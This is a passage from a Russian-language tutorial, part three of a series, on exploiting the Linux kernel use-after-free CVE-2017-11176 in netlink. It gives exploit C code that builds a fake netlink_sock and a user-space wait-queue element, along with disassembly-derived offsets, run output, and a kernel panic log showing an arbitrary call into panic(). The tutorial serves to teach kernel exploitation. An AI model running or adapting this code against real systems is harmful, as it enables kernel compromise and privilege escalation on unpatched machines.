#define NLK_PID_OFFSET 0x288

#define NLK_GROUPS_OFFSET 0x2a0

static int init_realloc_data(void)

{

struct cmsghdr *first;

int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];

void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];

memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));

// necessary to pass checks in __scm_send()

first = (struct cmsghdr*) &g_realloc_data;

first->cmsg_len = sizeof(g_realloc_data);

first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg

first->cmsg_type = 1; // <---- ARBITRARY VALUE

*pid = MAGIC_NL_PID;

*groups = MAGIC_NL_GROUPS;

// TODO: do something useful will the remaining bytes (i.e. arbitrary call)

return 0;

}

Структура данных для переразмещения становится следующей:

Рисунок 8: Структура буфера переразмещения с учетом заполненных полей nlk->pid и nlk->groups

Затем проверяем значения, полученные при помощи getsockname() (т.е. netlink_getname):

static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)

{

struct sockaddr_nl addr;

size_t addr_len = sizeof(addr);

memset(&addr, 0, sizeof(addr));

// this will invoke "netlink_getname()" (uncontrolled read)

if (_getsockname(sock_fd, &addr, &addr_len))

{

perror("[-] getsockname");

goto fail;

}

printf("[ ] addr_len = %lu\n", addr_len);

printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);

printf("[ ] magic_pid = %d\n", magic_pid);

if (addr.nl_pid != magic_pid)

{

printf("[-] magic PID does not match!\n");

goto fail;

}

if (addr.nl_groups != magic_groups)

{

printf("[-] groups pointer does not match!\n");

goto fail;

}

return true;

fail:

return false;

}

Теперь запускаем эту функцию внутри функции main():

int main(void)

{

// ... cut ...

realloc_NOW();

if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))

{

printf("[-] reallocation failed!\n");

// TODO: retry the exploit

goto fail;

}

printf("[+] reallocation succeed! Have fun :-)\n");

// ... cut ...

}

Перезапускаем эксплоит. Если переразмещение прошло успешно, должно появиться сообщение «[+] reallocation succeed! Have fun :‑)». Если сообщение не появилось, значит, переразмещение завершилось с ошибкой. Можно попробовать разобраться в чем дело, но эта тема выходит за рамки данной статьи. Мы предполагаем, что крах случился.

В этом разделе мы начнем реализацию конфликта типов в поле pid нашей поддельной структуры netlink_sock (через массив g_realloc_data). Кроме того, мы уже рассматривали, как использовать примитив неуправляемого чтения с getsockname(), которая в конечном итоге вызывает netlink_getname(). Теперь, когда вы стали лучше знакомы с UAF-примитивами, переходим к получению произвольного вызова.

Примитив произвольного вызова

Теперь, надеюсь, вы понимаете, где находятся UAF-примитивы, и как добраться до этих примитивов (при помощи системных вызовов, имеющих отношение к файлам или сокетам). Обратите внимание, что мы пока даже не рассматривали примитивы от другого висячего указателя: списка хешей из nl_table.

Поскольку наша цель - получить контроль над потоком выполнения ядра, нам понадобится примитив произвольного вызова. Как было сказано ранее, контролировать поток выполнения можно через перезапись указателя функции. Смотрим, содержит ли структура netlink_sock хоть один указатель функции.

struct netlink_sock {

/* struct sock has to be the first member of netlink_sock */

struct sock sk; // <----- lots of (in)direct FPs

u32 pid;

u32 dst_pid;

u32 dst_group;

u32 flags;

u32 subscriptions;

u32 ngroups;

unsigned long *groups;

unsigned long state;

wait_queue_head_t wait; // <----- indirect FP

struct netlink_callback *cb; // <----- two FPs

struct mutex *cb_mutex;

struct mutex cb_def_mutex;

void (*netlink_rcv)(struct sk_buff *skb); // <----- one FP

struct module *module;

};

Выясняется, что у нас даже есть выбор. Критерии хорошего примитива произвольного вызова:

  • Быстрый доступ из системного вызова (небольшое дерево вызовов).

  • Быстрый выход из системного вызова (отсутствует код «после» примитива).

  • Доступность и отсутствие необходимости в прохождении массы проверок.

  • Отсутствие побочных эффектов и влияния на другие структуры ядра.

Наиболее очевидное решение, которое сразу приходит в голову – установить произвольное значение в указатель netlink_rcv, который вызывается в функции netlink_unicast_kernel(). Однако основной минус этого указателя заключается в том, что нужно проходить много проверок и есть влияние на нашу структуру. Второй наиболее очевидный выбор – указатели функций внутри структуры netlink_callback. Однако и в этом случае нам придется пройти массу проверок, и есть множество побочных эффектов.

Мы будем использовать уже знакомую нам очередь ожидания.

struct __wait_queue_head {

spinlock_t lock;

struct list_head task_list;

};

typedef struct __wait_queue_head wait_queue_head_t;

Несмотря на то, что в этой структуре отсутствуют указатели на функции, есть косвенный указатель в элементах:

typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);

struct __wait_queue {

unsigned int flags;

#define WQ_FLAG_EXCLUSIVE 0x01

void *private;

wait_queue_func_t func; // <------ this one!

struct list_head task_list;

};

Кроме того, мы уже знаем, что указатель func вызывается в функции __wake_up_common(), и что добраться до этого указателя можно через функцию setsockopt(). Все эти вопросы подробно освещаются во второй части, когда мы рассматривали разблокировку основного потока.

Повторимся еще раз: всегда существует несколько способов для написания эксплоита. Мы выбрали этот метод, который может оказаться не самым оптимальным, поскольку читатель уже должен быть знаком с очередью ожидания. Вероятно, есть более простые способы, но наша техника по крайней мере работает. Более того попутно будет рассмотрено как сымитировать структуру данных ядра в пространстве пользователя (наиболее распространённый прием).

Контроль элемента очереди ожидания

Из предыдущего раздела мы уже знаем, что примитив произвольного вызова будет получаться при помощи очереди ожидания. Однако сама по себе очередь ожидания не содержит указателя функции, но элементы содержат. Чтобы добраться до этих элементов, нам нужно сделать некоторые манипуляции в пространстве пользователя, а конкретно – сымитировать структуру данных ядра.

Мы предполагаем, что контролируем данные по смещению поля wait («заголовка» очереди ожидания) в объекте kmalloc‑1024 при помощи переразмещения.

Возвращаемся к структуре netlink_sock. Важно отметить, что поле wait встроено внутрь структуры netlink_sock и не является указателем!

Предупреждение: Уделяет особое внимание тому, является ли поле «встроенным» или «указателем». Путаница в этом месте часто является причиной множества ошибок.

Модифицируем структуру netlink_sock следующим образом:

struct netlink_sock {

// ... cut ...

unsigned long *groups;

unsigned long state;

{ // <----- wait_queue_head_t wait;

spinlock_t lock;

struct list_head task_list;

}

struct netlink_callback *cb;

// ... cut ...

};

Рассмотрим подробнее внесенные изменения. Переменная spinlock_t является «просто» беззнаковым целым (проверьте объявление и не забывайте о препроцессоре CONFIG_), а list_head – структурой с двумя указателями:

Таким образом, получаем следующее:

struct netlink_sock {

// ... cut ...

unsigned long *groups;

unsigned long state;

{ // <----- wait_queue_head_t wait;

unsigned int slock; // <----- ARBITRARY DATA HERE

// <----- padded or not ? check disassembly!

struct list_head *next; // <----- ARBITRARY DATA HERE

struct list_head *prev; // <----- ARBITRARY DATA HERE

}

struct netlink_callback *cb;

// ... cut ...

};

При переразмещении нужно установить специальное значение в поля slock, next и prev. Чтобы узнать, какое конкретно значение нужно установить, освежим в памяти иерархию вызовов до функции __wake_up_common() вместе с параметрами задействованных функций:

- SYSCALL(setsockopt)

- netlink_setsockopt(...)

- wake_up_interruptible(&nlk->wait)

- __wake_up_(&nlk->wait, TASK_INTERRUPTIBLE, 1, NULL) // <----- deref "slock"

- __wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)

Код функции __wake_up_common():

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode, int nr_exclusive, int wake_flags, void *key)

{

[0] wait_queue_t *curr, *next;

[1] list_for_each_entry_safe(curr, next, &q->task_list, task_list) {

[2] unsigned flags = curr->flags;

[3] if (curr->func(curr, mode, wake_flags, key) &&

[4] (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)

[5] break;

}

}

Мы уже рассматривали код этой функции. Теперь же, вместо обработки элементов легитимной очереди ожидания, эта функция будет манипулировать буфером переразмещения. В данной функции происходит следующее:
  • [0] – Объявляются указатели на элементы очереди ожидания.
  • [1] – Обход дважды связанного списка task_list и установка значений curr и next.
  • [2] – Разыменование смещения flags текущего элемента curr очереди ожидания.
  • [3] – Вызов указателя функции func текущего элемента.
  • [4] – Проверка, установлен ли бит WQ_FLAG_EXCLUSIVE в переменной flags, и отсутствуют ли задачи.
  • [5] – Если оба вышеуказанных условия выполняются, функция завершает свою работу.

Примитив произвольного вызова будет выполняться в строке [3].

Примечание: Если вы забыли, как работает макрос list_for_each_entry_safe(), возвращайтесь к разделу, посвященному дважды связанным спискам.

Подведем промежуточные итоги:

  • Если мы можем управлять содержимым элемента очереди ожидания, то у нас есть примитив произвольного вызова с указателем функции func.

  • Мы будем переразмещать поддельный объект netlink_sock с нужной нам информацией (конфликт типов).

  • Внутри объекта netlink_sock содержится заголовок списка очереди ожидания.

Таким образом, мы будем перезаписывать поля next и prev, принадлежащих структуре wait_queue_head_t (т.е. полю wait), чтобы указатель ссылался на пространство пользователя. Повторимся еще раз, элемент очереди ожидания (curr) будет находиться в пространстве пользователя.

Поскольку указатель будет ссылаться на пространства пользователя, мы можем управлять содержимым элемента очереди ожидания и, соответственно, произвольным вызовом. Однако нам придется учесть некоторые особенности функции __wake_up_common().

Во-первых, придется иметь дело с макросом list_for_each_entry_safe():

#define list_for_each_entry_safe(pos, n, head, member) \

for (pos = list_first_entry(head, typeof(*pos), member), \

n = list_next_entry(pos, member); \

&pos->member != (head); \

pos = n, n = list_next_entry(n, member))

Поскольку дважды связанные списки являются замкнутыми, последний элемент очереди ожидания должен указывать на заголовок списка (&nlk‑>wait). В противном случае макрос list_for_each_entry() уйдет в бесконечный цикл или выполнит плохое разыменование, что в наши планы совсем не входит.

Однако мы можем прервать цикл, если доберемся до оператора break [5]. Достигнуть этого оператора можно при выполнении всех нижеследующих условий:

1. Вызываемая произвольная функция возвращает ненулевое значение.

2. Установлен бит WQ_FLAG_EXCLUSIVE в элементе очереди ожидания, который находится в пространстве пользователя.

3. Переменная nr_exclusive равна нулю.

Аргумент nr_exclusive устанавливается равным единице во время вызова функции __wake_up_common(). То есть, обнуление будет происходить после первого вызова произвольной функции. Установить бит WQ_FLAG_EXCLUSIVE не составит труда, поскольку мы управляем содержимым элемента очереди ожидания, находящимся в пространстве пользователя. Ограничение, связанное с возвращаемым значением во время вызова произвольной функции, будет рассматриваться в четвертой части. Сейчас мы просто предполагаем, что используемый гаджет уже возвращает ненулевое значение. В этой статье мы будем использовать функцию panic(), которая ничего не возвращает и выводит стек вызовов (т.е. мы можем проверить, что эксплоит отработал успешно).

Кроме того, поскольку мы имеем дело с «безопасной» версией макроса list_for_each_entry(), второй элемент списка будет разыменован ПЕРЕД примитивом произвольного вызова.

Таким образом, нам нужно установить правильное значение полей next и prev элемента очереди ожидания, находящегося в пространстве пользователя. Поскольку мы не знаем адреса &nlk‑>wait (предполагается, что dmesg не доступен) и умеем останавливать цикл через оператор в строке [5], то сделаем так, чтобы это значение ссылалось на поддельное поле next очереди ожидания.

Предупреждение: Поддельный элемент next должен быть доступен для чтения, иначе в ядре возникнет крах из-за плохого разыменования (ошибка страницы памяти). Более подробно эта тема будет рассмотрена в четвертой части.

В этом разделе мы рассмотрели, какое значение нужно присвоить полям next и prev переразмещаемого объекта netlink_sock (т.е. указатель на элемент очереди ожидания в пространстве пользователя). Затем были рассмотрены условия, которым должен соответствовать элемент очереди ожидания в пространстве пользователя для доступа к примитиву произвольного вызова и корректному выходу из макроса list_for_each_entry_safe(). Пришло время реализовать задуманное.

Поиск смещений

Так же как и в случае проверки переразмещения, для поиска смещений нам понадобится дизассемблированная версия функции __wake_up_common(). Вначале ищем адрес функции:

$ grep "__wake_up_common" System.map-2.6.32

ffffffff810618b0 t __wake_up_common

У функции __wake_up_common() есть пять аргументов (вспоминаем бинарный интерфейс приложения):

1. rdi: wait_queue_head_t *q.

2. rsi: unsigned int mode.

3. rdx: int nr_exclusive.

4. rcx: int wake_flags.

5. r8 : void *key.

После отработки начального кода происходит сохранение параметров в стеке (некоторые регистры становятся доступными):

ffffffff810618c6: 89 75 cc mov DWORD PTR [rbp-0x34],esi // save 'mode' in the stack

ffffffff810618c9: 89 55 c8 mov DWORD PTR [rbp-0x38],edx // save 'nr_exclusive' in the stack

Затем инициализируется макрос list_for_each_entry_safe():

ffffffff810618cc: 4c 8d 6f 08 lea r13,[rdi+0x8] // store wait list head in R13

ffffffff810618d0: 48 8b 57 08 mov rdx,QWORD PTR [rdi+0x8] // pos = list_first_entry()

ffffffff810618d4: 41 89 cf mov r15d,ecx // store "wake_flags" in R15

ffffffff810618d7: 4d 89 c6 mov r14,r8 // store "key" in R14

ffffffff810618da: 48 8d 42 e8 lea rax,[rdx-0x18] // retrieve "curr" from "task_list"

ffffffff810618de: 49 39 d5 cmp r13,rdx // test "pos !=wait_head"

ffffffff810618e1: 48 8b 58 18 mov rbx,QWORD PTR [rax+0x18] // save "task_list" in RBX

ffffffff810618e5: 74 3f je 0xffffffff81061926 // jump to exit

ffffffff810618e7: 48 83 eb 18 sub rbx,0x18 // RBX: current element

ffffffff810618eb: eb 0a jmp 0xffffffff810618f7 // start looping!

ffffffff810618ed: 0f 1f 00 nop DWORD PTR [rax]

Код начинается с обновления указателя curr, игнорируемого во время первого цикла, а затем выполнение переходит сути цикла:

ffffffff810618f0: 48 89 d8 mov rax,rbx // set "currr" in RAX

ffffffff810618f3: 48 8d 5a e8 lea rbx,[rdx-0x18] // prepare "next" element in RBX

ffffffff810618f7: 44 8b 20 mov r12d,DWORD PTR [rax] // "flags = curr->flags"

ffffffff810618fa: 4c 89 f1 mov rcx,r14 // 4th argument "key"

ffffffff810618fd: 44 89 fa mov edx,r15d // 3nd argument "wake_flags"

ffffffff81061900: 8b 75 cc mov esi,DWORD PTR [rbp-0x34] // 2nd argument "mode"

ffffffff81061903: 48 89 c7 mov rdi,rax // 1st argument "curr"

ffffffff81061906: ff 50 10 call QWORD PTR [rax+0x10] // ARBITRARY CALL PRIMITIVE

Вычисление элементов в условии «if», по результатам которого принимается решение о прерывании цикла:

ffffffff81061909: 85 c0 test eax,eax // test "curr->func()" return code

ffffffff8106190b: 74 0c je 0xffffffff81061919 // goto next element

ffffffff8106190d: 41 83 e4 01 and r12d,0x1 // test "flags & WQ_FLAG_EXCLUSIVE"

ffffffff81061911: 74 06 je 0xffffffff81061919 // goto next element

ffffffff81061913: 83 6d c8 01 sub DWORD PTR [rbp-0x38],0x1 // decrement "nr_exclusive"

ffffffff81061917: 74 0d je 0xffffffff81061926 // "break" statement

Проход по списку в макросе list_for_each_entry_safe() и возврат в начало при необходимости:

ffffffff81061919: 48 8d 43 18 lea rax,[rbx+0x18] // "pos = n"

ffffffff8106191d: 48 8b 53 18 mov rdx,QWORD PTR [rbx+0x18] // "n = list_next_entry()"

ffffffff81061921: 49 39 c5 cmp r13,rax // compare to wait queue head

ffffffff81061924: 75 ca jne 0xffffffff810618f0 // loop back (next element)

В итоге получаем смещения элементов очереди ожидания:

struct __wait_queue {

unsigned int flags; // <----- offset = 0x00 (padded)

#define WQ_FLAG_EXCLUSIVE 0x01

void *private; // <----- offset = 0x08

wait_queue_func_t func; // <----- offset = 0x10

struct list_head task_list; // <----- offset = 0x18

};

Кроме того, мы знаем, что поле task_list структуры wait_queue_head_t находится по смещению 0x8.

В целом, все довольно понятно, однако важно понимать ассемблерный код, чтобы найти точный адрес запуска примитива произвольного вызова (0xffffffff81061906), что очень приходится во время отладки. К тому же, мы знаем состояния различных регистров, которые понадобятся нам в четвертой части.

Следующий шаг: поиск адреса поля wait в структуре netlink_sock. Этот адрес можно получить при помощи функции netlink_setsockopt(), которая в свою очередь вызывает wake_up_interruptible():

static int netlink_setsockopt(struct socket *sock, int level, int optname, char __user *optval, unsigned int optlen)

{

struct sock *sk = sock->sk;

struct netlink_sock *nlk = nlk_sk(sk);

unsigned int val = 0;

int err;

// ... cut ...

case NETLINK_NO_ENOBUFS:

if (val) {

nlk->flags |= NETLINK_RECV_NO_ENOBUFS;

clear_bit(0, &nlk->state);

wake_up_interruptible(&nlk->wait); // <---- first arg has our offset!

} else

nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;

err = 0;

break;

// ... cut ...

}

Примечание: Из предыдущего раздела мы знаем, что поле groups находится по смещению 0x2a0. Учитывая схему структуры, можно предположить, что смещение будет примерно 0x2b0, однако эту гипотезу нужно проверить. Иногда, не все так очевидно.

Функция netlink_setsockopt() объемнее, чем __wake_up_common(). Если у вас нет дизассемблера (например, IDA), могут возникнуть трудности в поиске окончания этой функции. Однако нам не потребуется вся функция, а только место вызова макроса wake_up_interruptible(), который запускает __wake_up(). Приступаем к поиску вызова.

$ egrep "netlink_setsockopt| __wake_up$" System.map-2.6.32

ffffffff81066560 T __wake_up

ffffffff814b8090 t netlink_setsockopt

В итоге получаем:

ffffffff814b81a0: 41 83 8c 24 94 02 00 or DWORD PTR [r12+0x294],0x8 // nlk->flags |= NETLINK_RECV_NO_ENOBUFFS

ffffffff814b81a7: 00 08

ffffffff814b81a9: f0 41 80 a4 24 a8 02 lock and BYTE PTR [r12+0x2a8],0xfe // clear_bit()

ffffffff814b81b0: 00 00 fe

ffffffff814b81b3: 49 8d bc 24 b0 02 00 lea rdi,[r12+0x2b0] // 1st arg = &nlk->wait

ffffffff814b81ba: 00

ffffffff814b81bb: 31 c9 xor ecx,ecx // 4th arg = NULL (key)

ffffffff814b81bd: ba 01 00 00 00 mov edx,0x1 // 3nd arg = 1 (nr_exclusive)

ffffffff814b81c2: be 01 00 00 00 mov esi,0x1 // 2nd arg = TASK_INTERRUPTIBLE

ffffffff814b81c7: e8 94 e3 ba ff call 0xffffffff81066560 // call __wake_up()

ffffffff814b81cc: 31 c0 xor eax,eax // err = 0

ffffffff814b81ce: e9 e9 fe ff ff jmp 0xffffffff814b80bc // jump to exit

Наша догадка оказалась верной. Смещение оказалось 0x2b0.

Прекрасно! Теперь мы знаем смещение поля wait в структуре netlink_sock, а также структуру очереди ожидания. Кроме того, мы точно знаем, где запускается примитив произвольного вызова, что очень пригодится нам во время отладки. Приступаем к имитации структуры данных ядра и заполнению буфера переразмещения.

Имитация структуры данных ядра

Поскольку использование жестко запрограммированных смещений быстро превращает код эксплоита в нечитаемый вид, всегда лучше сымитировать структуру данных ядра. Чтобы проверить, что мы не допустили никаких ошибок, просто адаптируем макрос MAYBE_BUILD_BUG_ON для создания макроса static_assert (т.е. макроса, который будет выполнять проверку во время компиляции):

#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))

Если условие верное, макрос попытается объявить массив, где в качестве размера будет установлено отрицательное значение, что приведет к ошибке во время компиляции. Довольно удобно!

Имитация простой структуры не составляет особого труда. Нужно просто сделать объявление как в ядре:

// target specific offset

#define NLK_PID_OFFSET 0x288

#define NLK_GROUPS_OFFSET 0x2a0

#define NLK_WAIT_OFFSET 0x2b0

#define WQ_HEAD_TASK_LIST_OFFSET 0x8

#define WQ_ELMT_FUNC_OFFSET 0x10

#define WQ_ELMT_TASK_LIST_OFFSET 0x18

struct list_head

{

struct list_head *next, *prev;

};

struct wait_queue_head

{

int slock;

struct list_head task_list;

};

typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);

struct wait_queue

{

unsigned int flags;

#define WQ_FLAG_EXCLUSIVE 0x01

void *private;

wait_queue_func_t func;

struct list_head task_list;

};

Имитация завершена!

С другой стороны, если вы хотите сымитировать netlink_sock, то придется вставить отступ (padding), чтобы структура стала корректной или, еще хуже, переделать все «встроенные» структуры. Однако нам не нужны такие сложности. Мы хотим просто сослаться на поля wait, pid и groups (для проверки успешности переразмещения).

Завершение переразмещения

Теперь, когда у нас есть структура, нужно объявить в пространстве пользователя элемент очереди ожидания и поддельный элемент «next» глобально:

static volatile struct wait_queue g_uland_wq_elt;

static volatile struct list_head g_fake_next_elt;

И завершить формирование содержимого для переразмещения:

#define PANIC_ADDR ((void*) 0xffffffff81553684)

static int init_realloc_data(void)

{

struct cmsghdr *first;

int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];

void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];

struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET];

memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));

// necessary to pass checks in __scm_send()

first = (struct cmsghdr*) &g_realloc_data;

first->cmsg_len = sizeof(g_realloc_data);

first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg

first->cmsg_type = 1; // <---- ARBITRARY VALUE

// used by reallocation checker

*pid = MAGIC_NL_PID;

*groups = MAGIC_NL_GROUPS;

// the first element in nlk's wait queue is our userland element (task_list field!)

BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);

nlk_wait->slock = 0;

nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt.task_list;

nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt.task_list;

// initialise the "fake" second element (because of list_for_each_entry_safe())

g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself

g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself

// initialise the userland wait queue element

BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);

BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);

g_uland_wq_elt.flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call

g_uland_wq_elt.private = NULL; // unused

g_uland_wq_elt.func = (wait_queue_func_t) PANIC_ADDR; // <----- arbitrary call!

g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;

g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;

printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);

printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);

return 0;

}

Согласитесь, что в том стиле кода, который показан выше, намного сложнее сделать ошибку, чем при жестко заданных смещениях?

Теперь структура данных переразмещения выглядит так:

Рисунок 9: Окончательная структура буфера переразмещения

Прекрасно! Мы закончили заполнять буфер, используемый для переразмещения.

Активация примитива произвольного вызова

Теперь нам осталось воспользоваться примитивом произвольного вызова из главного потока. Поскольку мы уже знаем правильный путь из второй части, то следующей код должен быть в целом понятен:

int main(void)

{

// ... cut ...

printf("[+] reallocation succeed! Have fun :-)\n");

// trigger the arbitrary call primitive

val = 3535; // need to be different than zero

if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))

{

perror("[-] setsockopt");

goto fail;

}

printf("[ ] are we still alive ?\n");

PRESS_KEY();

// ... cut ...

}

Результат работы эксплоита

Пришло время узнать, работает ли наш эксплоит. Поскольку в ядре возникает крах, возможно, вы не успеете посмотреть результаты dmesg на виртуальной машине. Очень рекомендуем использовать netconsole!

Запускаем эксплоит:

[ ] -={ CVE-2017-11176 Exploit }=-

[+] successfully migrated to CPU#0

[ ] optmem_max = 20480

[+] can use the 'ancillary data buffer' reallocation gadget!

[+] g_uland_wq_elt addr = 0x602820

[+] g_uland_wq_elt.func = 0xffffffff81553684

[+] reallocation data initialized!

[ ] initializing reallocation threads, please wait...

[+] 300 reallocation threads ready!

[+] reallocation ready!

[ ] preparing blocking netlink socket

[+] socket created (send_fd = 603, recv_fd = 604)

[+] netlink socket bound (nl_pid=118)

[+] receive buffer reduced

[ ] flooding socket

[+] flood completed

[+] blocking socket ready

[+] netlink socket created = 604

[+] netlink fd duplicated (unblock_fd=603, sock_fd2=605)

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 604 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 605 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

Примечание: Мы не видим строки «reallocation succeed», которая означает, что переразмещение завершилось успешно, поскольку ядро упало перед выгрузкой информации в консоль (хотя буферизация произошла).

Результат запуска netconsole:

[ 213.352742] Freeing alive netlink socket ffff88001bddb400

[ 218.355229] Kernel panic - not syncing: ^A

[ 218.355434] Pid: 2443, comm: exploit Not tainted 2.6.32

[ 218.355583] Call Trace:

[ 218.355689] [<ffffffff8155372b>] ? panic+0xa7/0x179

[ 218.355927] [<ffffffff810665b3>] ? __wake_up+0x53/0x70

[ 218.356045] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90

[ 218.356156] [<ffffffff810665a8>] ? __wake_up+0x48/0x70

[ 218.356310] [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0

[ 218.356460] [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0

[ 218.356622] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b

Как видно из лога выше, произошел успешный вызов panic() из функции netlink_setsockopt()!

В итоге мы смогли взять под контроль поток выполнения ядра и воспользоваться примитивом произвольного вызова.

Заключение

Охх… дорога была длинной!

В этой статье мы научились многому. Во-первых, рассмотрели подсистему памяти и SLAB аллокатор. Кроме того, познакомились с очень важной структурой данных (list_head), используемой в ядре повсеместно, а также с макросом container_of().

Во-вторых, была рассмотрена уязвимость use‑after‑free и общая стратегия эксплуатации подобных проблем в ядре через конфликт типов. Кроме того, мы научились получить информацию, необходимую для эксплуатации, и утилиту KASAN, которая значительно упрощает эту задачу. Мы собрали информацию для конкретно нашей уязвимости и рассмотрели разные методы (статические и динамические) для нахождения размера кэша (pahole, /proc/slabinfo, ...).

В-третьих, была рассмотрена стратегия переразмещения в ядре при помощи хорошо известного гаджета «буфера вспомогательных данных» (sendmsg()), а также увидели, какие данные под нашим контролем и как переразместить (практически) произвольное содержимое. Во время реализации было использовано два простых трюка для сокращения вероятности ошибок (маска cpu и распыление кучи).

Наконец, мы нашли местонахождение наших UAF-примитивов (ворота к примитивам). Один примитив использовался для проверки статуса переразмещения (неконтролируемое чтение), другой (из очереди ожидания) для получения произвольного вызова. Кроме того, мы сымитировали структуру данных ядра и нашли нужные смещения из ассемблерного кода. В конечном итоге, нам удалось вызвать функцию panic() и получить контроль над потоком выполнения ядра.

В следующей (и последней) статье будет рассмотрено, как при помощи примитива произвольного вызова получить контроль над нулевым кольцом, используя технику stack pivot (поворот стека) и ROP-цепь. В отличие от эксплуатации ROP в пространстве пользователя в ядре есть дополнительные требования и проблемы (ошибки страниц памяти, SMEP), которые придется решать. В конце, после завершения работы эксплоита ядро будет восстановлено так, чтобы не было краха, и наши привилегии расширятся.

Надеюсь, вам понравилось это путешествие по закоулкам ядра. Увидимся в четвертой части.

Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.